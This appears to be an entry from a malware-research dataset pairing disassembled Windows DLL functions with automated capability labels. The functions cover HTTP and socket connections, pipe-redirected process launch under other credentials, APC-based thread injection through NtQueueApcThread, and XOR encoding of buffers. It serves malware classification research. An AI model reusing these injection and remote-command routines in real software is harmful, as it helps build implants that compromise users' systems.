joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000ea48
Capabilities:
Connect to http server
Create http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x40
mov rbx, r8
mov edi, edx
mov rsi, rcx
mov dword [rax + 0x20], 0x3a980
mov qword [0x1800494c8], r9
call fcn.18001e0fc
mov r14d, 1
mov ecx, r14d
call fcn.18001b464
lea ecx, [r14 + 0x31]
and al, 8
neg al
sbb r9d, r9d
and r9d, 0x803000
add r9d, 0x84400200
mov dword [0x1800494d0], r9d
call fcn.18001b464
cmp ax, r14w
jne 0x18000eab9
bts dword [0x1800494d0], 0x13
mov ecx, 0x23
call fcn.18001b464
movzx ecx, ax
test ecx, ecx
je 0x18000eaef
dec ecx
je 0x18000eae7
dec ecx
je 0x18000eae0
cmp ecx, 2
je 0x18000eaef
mov rax, qword [0x1800494a8]
jmp 0x18000eb19
xor r8d, r8d
xor edx, edx
jmp 0x18000eb01
xor r8d, r8d
mov edx, r14d
jmp 0x18000eb01
mov ecx, 0x20
call fcn.18001b454
mov edx, 3
mov r8, rax
and dword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x1800494a8], rax
mov ebx, 4
lea r8, [rsp + 0x68]
mov rcx, rax
lea edx, [rbx + 1]
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x1800494a8]
lea r8, [rsp + 0x68]
lea edx, [rbx + 2]
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [0x180042010]
mov rcx, qword [0x1800494a8]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
xor r9d, r9d
movzx r8d, di
mov rdx, rsi
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
lea ecx, [rbx + 0x1f]
mov qword [0x1800494b0], rax
call fcn.18001b464
cmp ax, bx
jne 0x18000ebe8
lea edi, [rbx + 0x1d]
mov ecx, edi
call fcn.18001b444
mov ecx, edi
mov ebx, eax
call fcn.18001b454
mov rcx, qword [0x1800494b0]
lea edx, [rdi + 0xa]
mov r9d, ebx
mov r8, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov edi, 0x22
mov ecx, edi
call fcn.18001b444
mov ecx, edi
mov ebx, eax
call fcn.18001b454
mov rcx, qword [0x1800494b0]
lea edx, [rdi + 0xa]
mov r9d, ebx
mov r8, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
call fcn.18001e12c
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop r14
ret
Function at 0x18000efbc
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x130
xor ebx, ebx
lea r9, [rax + 0x10]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x13]
mov dword [rax + 0x10], 0x100
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x18000efff
lea rcx, [rsp + 0x30]
call fcn.18001fe04
cmp eax, 0xc8
sete bl
mov eax, ebx
add rsp, 0x130
pop rbx
ret

Function at 0x18000f10c
Capabilities:
Initialize winsock library

Disassembly:
mov ecx, 1
jmp fcn.18000f118

Function at 0x18000f118
Capabilities:
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1c0
cmp dword [0x1800494d4], 1
mov ebx, ecx
je 0x18000f14e
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000f1d2
mov dword [0x1800494d4], 1
test ebx, ebx
je 0x18000f1c9
cmp dword [0x1800494d8], 1
je 0x18000f1c9
mov ecx, reloc.WS2_32.dll_sendto
call fcn.18001b434
mov ecx, reloc.WS2_32.dll_send
mov dword [0x1800494dc], eax
call fcn.18001b434
mov ecx, 0x3d
mov dword [0x1800494e0], eax
call fcn.18001b454
mov ecx, 0x3e
mov qword [0x180052148], rax
call fcn.18001b454
mov ecx, 0x3f
mov qword [0x180052140], rax
call fcn.18001b454
mov ecx, 0x42
mov qword [0x180052138], rax
call fcn.18001b454
mov dword [0x1800494d8], 1
mov qword [0x180052130], rax
add rsp, 0x1c0
pop rbx
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.180020414
int3
Function at 0x18000fd44
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x19]
xor edx, edx
mov r8d, esi
call fcn.18001f530
xor eax, eax
mov dword [rbp - 0x19], esi
lea r8, [rbp - 0x59]
lea rdx, [rbp + 0x7f]
lea rcx, [rbp - 0x61]
xor esi, esi
mov r9d, 0x100000
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x59], 0x18
mov qword [rbp - 0x51], rsi
mov dword [rbp - 0x49], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x7f]
lea r9, [rbp - 0x79]
lea r8, [rbp - 0x19]
mov edx, ebx
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rax
mov dword [rbp + 0x23], 0x101
mov word [rbp + 0x27], si
mov qword [rbp + 0x37], rsi
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180017930
test eax, eax
je 0x18000fe39
mov rcx, qword [rbp - 0x79]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rbp + 0x7f]
mov rdx, qword [rbp - 0x61]
movups xmm0, xmmword [rbp - 0x79]
movsd xmm1, qword [rbp - 0x69]
or r8, 0xffffffffffffffff
cmp qword [rbp + 0x3f], rax
lea rcx, [rbp - 0x39]
movaps xmmword [rbp - 0x39], xmm0
movsd qword [rbp - 0x29], xmm1
cmove r8, rax
call fcn.180014bf4
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18000fec8
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
xor r8d, r8d
mov esi, edx
mov rdi, rcx
lea r14d, [r8 + 2]
lea edx, [r8 + 1]
mov ecx, r14d
call sub.WS2_32.dll_socket
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x18000ff0a
mov rax, rbp
jmp 0x18000ff64
mov rcx, rdi
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x18000ff05
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001f920
movzx ecx, si
mov word [rsp + 0x20], r14w
call sub.WS2_32.dll_htons
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
mov word [rsp + 0x22], ax
call sub.WS2_32.dll_connect
test eax, eax
je 0x18000ff61
mov rcx, rbx
call sub.WS2_32.dll_closesocket
jmp 0x18000ff05
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x180010778
Capabilities:
Encode data using xor

Disassembly:
cmp rcx, qword [0x1800494f0]
jae 0x1800107d5
mov r9, qword [0x1800494e8]
lea r8, [rcx + rcx*4]
xor edx, edx
cmp dword [r9 + r8*8], edx
je 0x1800107d5
cmp dword [r9 + r8*8 + 0x10], edx
jne 0x1800107d5
cmp qword [r9 + r8*8 + 0x18], rdx
je 0x1800107d5
cmp qword [r9 + r8*8 + 0x20], rdx
jbe 0x1800107cc
mov rcx, qword [r9 + r8*8 + 0x18]
mov rax, rdx
lea r10, [0x1800494f8]
and eax, 3
mov al, byte [rax + r10]
xor byte [rcx + rdx], al
inc rdx
cmp rdx, qword [r9 + r8*8 + 0x20]
jb 0x1800107a9
mov dword [r9 + r8*8 + 0x10], 1
ret

Function at 0x180010840
Capabilities:
Encode data using xor

Disassembly:
cmp rcx, qword [0x1800494f0]
jae 0x18001089e
mov r8, qword [0x1800494e8]
lea rdx, [rcx + rcx*4]
xor r11d, r11d
cmp dword [r8 + rdx*8], r11d
je 0x18001089e
cmp dword [r8 + rdx*8 + 0x10], r11d
je 0x18001089e
cmp qword [r8 + rdx*8 + 0x18], r11
je 0x18001089e
mov r9d, r11d
cmp qword [r8 + rdx*8 + 0x20], r11
jbe 0x180010899
mov rcx, qword [r8 + rdx*8 + 0x18]
mov rax, r9
lea r10, [0x1800494f8]
and eax, 3
mov al, byte [rax + r10]
xor byte [rcx + r9], al
inc r9
cmp r9, qword [r8 + rdx*8 + 0x20]
jb 0x180010875
mov dword [r8 + rdx*8 + 0x10], r11d
ret
Function at 0x180010e64
Capabilities:
Encode data using xor

Disassembly:
movsxd r10, edx
movsxd rax, r9d
sub r10, 4
cmp r10, rax
jbe 0x180010e76
xor eax, eax
ret
mov r11, rcx
add rcx, 4
sub edx, 4
je 0x180010ea7
xor r9d, r9d
mov r10d, edx
sub rcx, r8
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + r11]
xor al, byte [rcx + r8]
mov byte [r8], al
inc r8
dec r10
jne 0x180010e8b
mov eax, edx
ret

Function at 0x180010eac
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rsi, edx
movsxd rax, r9d
mov rbx, r8
add rsi, 4
mov edi, edx
mov rbp, rcx
mov r14, r8
cmp rsi, rax
jbe 0x180010ee3
xor eax, eax
jmp 0x180010f16
call fcn.18000f3a0
xor edx, edx
mov dword [rbx], eax
add rbx, 4
test edi, edi
je 0x180010f14
sub rbp, rbx
mov rax, rdi
mov rcx, rdx
inc rdx
and ecx, 3
mov cl, byte [rcx + r14]
xor cl, byte [rbx + rbp]
mov byte [rbx], cl
inc rbx
dec rax
jne 0x180010efa
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800111e8
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
test byte [rcx + 0x20], 4
mov rbx, rcx
jne 0x180011254
mov rcx, qword [rcx]
lea rdx, [rsp + 0x20]
call fcn.18000c71c
test eax, eax
je 0x180011254
mov rax, qword [rsp + 0x20]
or dword [rbx + 0x20], 4
mov rcx, rbx
mov qword [rbx], rax
call fcn.180010f34
mov rcx, qword [rbx + 0x18]
lea rdx, [rsp + 0x20]
mov edi, eax
call fcn.180011038
mov rcx, qword [rbx + 0x18]
test eax, eax
jne 0x180011247
mov rcx, qword [rcx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x18001125c
mov rcx, qword [rcx + 8]
call fcn.18001d030
mov eax, edi
jmp 0x18001125c
mov rcx, rbx
call fcn.180010f34
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180011268
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x60
mov rax, qword [rcx + 0x18]
mov rbx, rcx
mov r9d, 2
mov qword [r11 - 0x18], rax
mov rax, qword [rcx + 0x10]
mov qword [r11 - 0x20], rax
mov eax, dword [rcx + 0x20]
mov rcx, qword [0x18004d868]
mov qword [r11 - 0x28], r8
and qword [r11 - 0x30], 0
mov r8, qword [0x18004d870]
mov dword [rsp + 0x30], eax
mov qword [r11 - 0x40], rdx
mov rdx, qword [0x18004d860]
and qword [r11 - 0x48], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x1800112c8
mov eax, 1
jmp 0x1800112e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbx]
mov ecx, 0x45
mov r8d, eax
call fcn.18000e67c
xor eax, eax
add rsp, 0x60
pop rbx
ret
Function at 0x180011478
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf0
mov r13, rcx
xor edi, edi
mov ecx, 0xa000
mov r15, r9
mov rbx, r8
mov r12, rdx
mov esi, edi
call fcn.180015fec
mov edx, 0x4000
mov rcx, rax
mov rbp, rax
call fcn.1800161e8
mov edi, 0x400
mov rcx, rbp
mov edx, edi
mov qword [rsp + 0x68], rax
call fcn.1800161e8
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x60], rax
call fcn.1800161e8
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x70], rax
call fcn.1800161e8
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x78], rax
call fcn.1800161e8
lea r14d, [rsi + 0x68]
lea rcx, [rsp + 0x80]
mov r8d, r14d
xor edx, edx
mov rdi, rax
call fcn.18001f530
xor eax, eax
mov dword [rsp + 0x80], r14d
mov r14, qword [rsp + 0x148]
lea rcx, [rsp + 0x80]
mov qword [r14], rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rdx, qword [rsp + 0x68]
xor eax, eax
mov r8d, 0x4000
mov rcx, r15
mov dword [rsp + 0xbc], 0x101
mov word [rsp + 0xc0], ax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x90], rax
call fcn.18000fe54
mov rdx, qword [rsp + 0x70]
mov r8d, 0x400
mov rcx, r12
call fcn.18000fe54
mov rdx, qword [rsp + 0x78]
mov r8d, 0x400
mov rcx, rbx
call fcn.18000fe54
mov rdx, qword [rsp + 0x60]
mov ebx, 0x400
mov r8d, ebx
mov rcx, r13
call fcn.18000fe54
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, ebx
jae 0x1800115e5
mov rdx, rdi
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rsi, rdi
mov eax, dword [rsp + 0x140]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], r14
xor edi, edi
or eax, 0x8000400
lea rcx, [rsp + 0x80]
lea ebx, [rdi + 1]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9d, ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x180011667
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_as__s_s:__d
lea ecx, [rdi + 0x35]
mov dword [rsp + 0x28], eax
mov r9, r13
mov r8, r15
mov qword [rsp + 0x20], r12
call fcn.18000e544
mov ebx, edi
mov rcx, rbp
call fcn.1800160e0
lea r11, [rsp + 0xf0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1800119a8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x18001199a
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
mov dword [rsp + 0x30], eax
call rdi
mov rcx, qword [rbx + 8]
call fcn.1800204e0
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x180049510], rsi
mov rbx, rcx
jne 0x1800119e6
mov ecx, 0x80004
call fcn.18001f284
mov qword [0x180049510], rax
mov ecx, dword [rbx]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x180049510]
mov dword [rcx], eax
mov edi, dword [rbx + 4]
cmp edi, r14d
cmova edi, r14d
test edi, edi
je 0x180011a38
mov rax, qword [0x180049510]
mov r9, qword [rbx + 8]
mov ecx, esi
add rax, 4
mov r8d, edi
mov edx, 1
add rcx, rax
call fcn.180020d30
test eax, eax
je 0x180011a34
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x180011a04
jmp 0x180011a38
and dword [rbx + 4], 0
mov rcx, qword [0x180049510]
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x180011960
Function at 0x180012028
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x18001205a
xor eax, eax
jmp 0x18001207c
inc eax
cmp eax, edi
jae 0x180012056
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.18001f530
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180012094
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x1800121d8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xe0
xor ebp, ebp
mov r15, r8
mov rbx, rdx
cmp dword [0x180049528], ebp
mov r14, rcx
je 0x18001220d
xor eax, eax
jmp 0x18001236e
mov dword [0x180049528], 1
mov ecx, dword [rcx + 4]
call sub.WS2_32.dll_ntohl
mov r10d, eax
lea edi, [rax + 8]
mov ecx, edi
cmp rcx, rbx
jbe 0x180012238
mov ecx, 0x51
call fcn.18000e65c
jmp 0x180012206
mov ebx, 8
cmp edi, ebx
jbe 0x180012262
lea rcx, [r14 + 8]
mov edx, ebx
lea r8d, [rdi - 8]
mov rax, rdx
inc rdx
and eax, 3
mov al, byte [rax + r14]
xor byte [rcx], al
inc rcx
dec r8
jne 0x18001224b
lea rsi, [r14 + 8]
lea rcx, [rsp + 0x30]
mov r9d, 1
mov rdx, rsi
mov r8d, r10d
call fcn.18000da3c
test eax, eax
jne 0x18001228f
mov ecx, 0x51
call fcn.18000e65c
jmp 0x18001234d
lea rcx, [rsp + 0x30]
call fcn.18000d83c
test eax, eax
jne 0x1800122ac
mov rcx, qword [rsp + 0xc8]
call fcn.1800121ac
jmp 0x180012280
mov eax, dword [rsp + 0x30]
movsxd r8, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
mov rbp, qword [rsp + 0xc8]
xor edx, edx
mov dword [r15], eax
call fcn.18001f530
movsxd r8, dword [rsp + 0x40]
lea rax, [rsp + 0x118]
mov r9d, 0x20
mov rdx, rbp
xor ecx, ecx
mov qword [rsp + 0x20], rax
call fcn.18001d3b8
test eax, eax
jne 0x180012316
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x52
mov edx, eax
call fcn.18000e590
mov rcx, rbp
call fcn.1800121ac
xor ebp, ebp
jmp 0x18001234d
mov eax, dword [rsp + 0xd4]
xor r9d, r9d
mov rcx, rbp
mov dword [0x18004952c], eax
mov eax, dword [rsp + 0xd0]
lea r8d, [r9 + 3]
mov dword [0x180049530], eax
mov edx, eax
lea rax, [fcn.1800121ac]
mov qword [rsp + 0x20], rax
call fcn.18001eaa8
cmp edi, ebx
jbe 0x18001236b
lea ecx, [rdi - 8]
mov rax, rbx
inc rbx
and eax, 3
mov al, byte [rax + r14]
xor byte [rsi], al
inc rsi
dec rcx
jne 0x180012354
mov rax, rbp
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x180012818
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x28]
sub rsp, 0x110
mov r15d, ecx
mov ecx, dword [rbp + 0x80]
mov rsi, r9
mov r14d, r8d
mov edi, edx
call fcn.18001e118
mov r12d, 0x68
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, r12d
call fcn.18001f530
xor eax, eax
mov dword [rbp - 0x60], r12d
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r12d, r12d
mov r9d, 0x100000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], r12
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x60]
mov edx, dword [rbp + 0x80]
mov ecx, dword [rbp + 0x78]
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r12w
mov qword [rbp - 0x10], r12
call fcn.18001bc30
test eax, eax
je 0x18001297c
lea ecx, [r12 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x60]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x50]
lea rcx, [rsp + 0x40]
mov r9, rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], eax
call fcn.180013728
test edi, edi
je 0x18001293d
mov rcx, qword [rsp + 0x58]
mov edx, edi
call fcn.1800148d8
mov rax, qword [rsp + 0x60]
movups xmm0, xmmword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
or r9, 0xffffffffffffffff
cmp qword [rbp - 8], rax
cmove r9, rax
mov rax, qword [rbp + 0x68]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
mov edx, r15d
mov qword [rsp + 0x20], rax
call fcn.18001494c
mov ecx, dword [rbp + 0x80]
call fcn.18001e148
lea r11, [rsp + 0x110]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180013a64
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, rdx
xor edx, edx
mov rdi, r8
mov rsi, rcx
lea rcx, [rbp - 0x3c]
lea r8d, [rdx + 0x18]
call fcn.18001f530
xor eax, eax
lea rcx, str.ntdll
and qword [rbp + 0x28], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
and dword [rbp - 8], 0
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x40], 0x1c
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x180013be8
mov edx, dword [rsi + 0x10]
mov rcx, qword [rsi]
lea r8, [rbp - 0x20]
call fcn.180013984
mov rbx, rax
test rax, rax
je 0x180013be8
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
test rax, rax
je 0x180013be8
lea rdx, [rbp - 0x40]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180013be8
mov eax, dword [rsi + 0x10]
cmp dword [rbp - 0x34], eax
jne 0x180013b73
mov r8d, dword [rbp - 0x38]
xor edx, edx
mov ecx, 0x1fffff
call fcn.18001ce74
mov r14, rax
test rax, rax
je 0x180013b73
and qword [rsp + 0x20], 0
lea rdx, [rbx + 0x20]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
call r15
mov rcx, r14
call fcn.18001c754
lea rdx, [rbp - 0x40]
mov rcx, rdi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180013b35
mov rcx, rdi
call fcn.18001c754
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsi]
lea rax, [rbp + 0x28]
mov edi, 0x20
lea r8, [rbp - 0x20]
mov rdx, rbx
mov r9d, edi
mov qword [rsp + 0x20], rax
call fcn.18001cf60
test eax, eax
je 0x180013be8
cmp qword [rbp + 0x28], rdi
jne 0x180013be8
cmp dword [rbp - 8], 0
jne 0x180013c04
mov rcx, qword [rsi]
lea rax, [rbp + 0x28]
lea r8, [rbp - 0x20]
mov r9d, edi
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov dword [rbp - 8], 1
call fcn.18001d5c4
xor eax, eax
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov eax, 1
jmp 0x180013bea
Function at 0x180014c44
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [rax - 8], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x180014c8b
or eax, 0xffffffff
jmp 0x180014ceb
cmp dword [rsp + 0x30], ebx
jbe 0x180014ce9
cmp ebx, edi
jae 0x180014ce9
and qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x68]
sub r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
and qword [rsp + 0x28], 0
add ebx, dword [rsp + 0x68]
add rbp, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x180014c86
cmp dword [rsp + 0x30], 0
ja 0x180014c91
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x180014e84
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r8, rcx
mov eax, 0x62964ee9
cmp byte [rcx], r9b
je 0x180014eae
movzx ecx, word [rcx]
mov edx, eax
inc r9d
ror edx, 8
add edx, ecx
mov ecx, r9d
add rcx, r8
xor eax, edx
cmp byte [rcx], 0
jne 0x180014e94
repz ret